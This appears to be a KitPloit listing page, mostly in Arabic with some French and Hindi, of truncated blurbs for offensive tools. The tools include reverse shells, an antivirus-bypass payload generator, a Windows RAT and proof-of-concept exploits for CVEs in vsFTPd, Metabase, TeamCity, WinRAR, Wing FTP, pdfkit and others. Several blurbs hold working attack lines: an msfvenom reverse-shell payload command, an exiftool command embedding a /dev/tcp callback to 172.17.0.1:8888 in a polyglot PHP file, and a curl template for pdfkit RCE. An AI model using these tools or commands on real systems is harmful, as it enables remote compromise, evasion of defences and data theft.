xc

XC شيل عكسي يشبه Netcat لنظامي لينكس وويندوز. الميزات ويندوز root@kitploit: Usage: └ Shared Commands: !exit !upload uploads a file to the target !download downloads a file from the target !lfwd local portforwarding like ssh -L !rfwd remote portforwarding like ssh -R !lsfwd lists active forwards...

Codeine

Codeine root@kitploit: .o88b. .d88b. d8888b. d88888b d888888b d8b db d88888b d8P Y8 .8P Y8. 88 8D 88' 88' 888o 88 88' 8P 88 88 88 88 88ooooo 88 88V8o 88 88ooooo 8b 88 88 88 88 88 88 88 V8o88 88 Y8b d8 8b d8' 88 .8D 88. .88. 88 V888 88. Y88P' Y88P' Y8888D' Y88888P Y888888P VP V8P Y88888P Codeine ه...

SmileySploit

SmileySploit برنامج نصي أساسي يستغل CVE-2011-2523 نظرة عامة في عام 2011، تم اكتشاف باب خلفي مدمج في خوادم vsFTPd التي تعمل بالإصدار 2.3.4، حيث يؤدي استخدام رمز تعبيري مبتسم ":" إلى تشغيل اتصال عكسي بمهاجم. وبهذا، من السهل جدًا إنشاء برنامج نصي استغلالي والحصول على وصول إلى نظام معرض لهذه الثغرة...

CVE-2023-38646

Metabase Pre-Auth RCE POC - CVE-2023-38646 تسمح Metabase مفتوحة المصدر قبل الإصدار 0.46.6.1 وMetabase Enterprise قبل الإصدار 1.46.6.1 للمهاجمين بتنفيذ أوامر تعسفية على الخادم. لقد كتبت النص مباشرة للحصول على شيل عكسي على جهاز المهاجم. الاستخدام يتطلب النص عنوان URL المستهدف، وعنوان IP للمهاجم،...

reverse-shell

reverse-shell خدمة الصدفة العكسية Reverse Shell كخدمة - https://reverse-shell.sh صدفة عكسية سهلة التذكر تعمل على معظم الأنظمة الشبيهة بيونكس. يكتشف البرامج المتاحة على الهدف ويشغّل حمولة مناسبة. الاستخدام 1. الاستماع للاتصال على جهازك، افتح منفذاً واستمع عليه. يمكنك فعل هذا بسهولة باستخدام netcat...

AirBorne-PoC

AirBorne PoC Framework – Édition Elite RCE Framework PoC complet pour CVE-2025-24252 & CVE-2025-24132 Par ekomsSavior | AirBorne est un framework de preuve de concept PoC combiné ciblant deux vulnérabilités graves dans le service AirPlay d'Apple. Il comprend un déclencheur de crash complet et un...

AVBypass

एंटीवायरस बाईपास सुरक्षा आवश्यकताएँ golang स्थापित उपयोग root@kitploit: 1 - अपना पेलोड बनाएं go run create.go उदा.: go run create.go 1.1.1.1 443 SecRetkira https://www.youtube.com/watch?v=Rv4VzpGCEEM 2 - आउटपुट फ़ोल्डर में आपको shell.go मिलेगा, इसे कंपाइल करें go build shell.go 3 - अब आपके पास ex...

CVE-2022-22947

تمت إضافة نوعين من الصدف العكسية reverse shell واختبار الخروج إلى الشبكة استناداً إلى كود Wang Zheng. إذا كانت هناك وحدة مفقودة أثناء التشغيل، فاستخدم pip لتنزيل الوحدة المطلوبة. أدخل عنوان URL المشبوه، وانتبه إلى عدم إضافة '/' بعد المنفذ. 1. تحقق أولاً من وجود الثغرة الأمر الافتراضي المنفذ هو...

CVE-2025-47812

CVE-2025-47812 – تنفيذ أوامر عن بُعد في خادم Wing FTP عبر حقن Lua المؤلف: 0xgh057r3c0n 🧠 الوصف يستغل هذا الاستغلال ثغرة حقن Lua في معالج تسجيل الدخول loginok.html لخادم Wing FTP Server لتنفيذ أوامر نظام تشغيل عشوائية أو الحصول على شل عكسي. يسيء استخدام تنفيذ كود Lua غير المنظف عبر وسيط username. ...

MoodleExploit

Exploit Moodle Titre de l'exploit : Moodle v3.4.1 RCE Exploit Google Dork : inurl:"/course/jumpto.php?jump=" Date : 15 mars 2019 Auteur de l'exploit : Darryn Ten Page d'accueil du fournisseur : https://moodle.org Lien du logiciel : https://github.com/moodle/moodle/archive/v3.4.1.zip Version : 3.4...

postshell

PostShell PostShell एक पोस्ट-एक्सप्लॉइटेशन शेल है जिसमें बाइंड और बैक कनेक्ट दोनों प्रकार के शेल शामिल हैं। यह एक पूरी तरह से इंटरैक्टिव TTY बनाता है जो जॉब कंट्रोल की अनुमति देता है। स्टब का आकार लगभग 14kb होता है और इसे किसी भी यूनिक्स जैसी प्रणाली पर कंपाइल किया जा सकता है। स्क्रीनशॉट्स कनेक्श...

CVE-2020-0796

CVE-2020-0796 Explication de CVE-2020-0796 et recherche de la vulnérabilité pour le projet de semestre CENG325 pour débutants Comment exploiter ? Génération de payload utilisateur pour reverse shell : msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python po...

CVE-2023-38831_ReverseShell_Winrar-RCE

الحصول على Reverse Shell باستغلال ثغرة CVE-2023-38831 في WinRAR في هذا المستودع، سنقوم باستغلال ثغرة CVE-2023-38831 في WinRAR بحيث يمكننا الحصول على reverse shell من جهاز الضحية Windows إلى جهاز المهاجم Kali Linux. الخطوات الأولية نقوم بتنزيل محتوى هذا المستودع: بعد ذلك، يجب علينا تثبيت تبعيات...

CVE-2024-41570

CVE-2024-41570 | Havoc C2 SSRF مع RCE | استغلال شل عكسي آلي عبر WebSocket يوفر هذا المشروع نصًا برمجيًا لإثبات المفهوم PoC مبنيًا على Python لاستغلال خدمة قائمة على WebSocket ضعيفة. يقوم البرنامج النصي بأتمتة تسجيل الوكيل، توصيل حمولة WebSocket، وتنفيذ الأوامر عن بُعد لإنشاء شل عكسي. الميزات يسجل...

CVE-2023-24610

CVE-2023-24610 هذا هو دليل المفهوم لـ CVE-2023-24610 نبدأ بإنشاء ملف متعدد اللغات باستخدام exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php نقوم بتغيير الملف إلى png ليتجاوز الفحص في الواجهة الأمامية بعد ذلك، نقوم بتشغيل مستمع nc على المنفذ 8888 لاستقبال الصدفة...

CVE-2023-42793

CVE-2023-42793 JetBrains TeamCity قبل الإصدار 2023.05.4 معرض لثغرة تجاوز المصادقة تؤدي إلى تنفيذ تعليمات برمجية عن بُعد RCE الاستخدام للحصول على شل عكسي root@kitploit: python3 exploit.py المراجع https://blog.jetbrains.com/teamcity/2023/09/cve-2023-42793-vulnerability-post-mortem/...

CVE-2021-22205

CVE-2021-22205 أداة CVE-2021-22205 RCE مخصصة فقط للمشاركة والتبادل، ولا تستخدم في الاختبار غير المصرح به، وإلا لا يتحمل المؤلف أي مسؤولية. root@kitploit: -R string VPS to load tools eg: -R 127.0.0.1:8083 -T string Tool name eg: -T fscan -c string exec cmd eg: -c "id" default "id" -host string...

Windows-X64-RAT

حصان طروادة للوصول عن بُعد لنظام Windows x64 RAT الهدف تطوير حصان طروادة للوصول عن بُعد لنظام Windows x64 باستخدام CVE-2023-38831 WinRAR 6.23 واستغلال شيلكود لتجاوز Windows Defender. وصف النظام 1. تهيئة الشيلكود إنشاء شيلكود باستخدام Windows/x64 - شيلكود شل عكسي TCP خالٍ من القيم الصفرية PIC...

redpill

:octocat: وصف المشروع يهدف مشروع redpill إلى مساعدة صدفات tcp العكسية في مهام ما بعد الاستغلال. غالبًا، في مواعيد الفريق الأحمر نحتاج إلى استخدام طرق غير تقليدية للوصول إلى النظام المستهدف، مثل صدفات tcp العكسية ليست metasploit من أجل تجاوز الدفاعات التي ينفذها مسؤول النظام. بعد اكتمال الخطوة...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' عبر CURL قم بتعديل القيم بالخط العريض: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...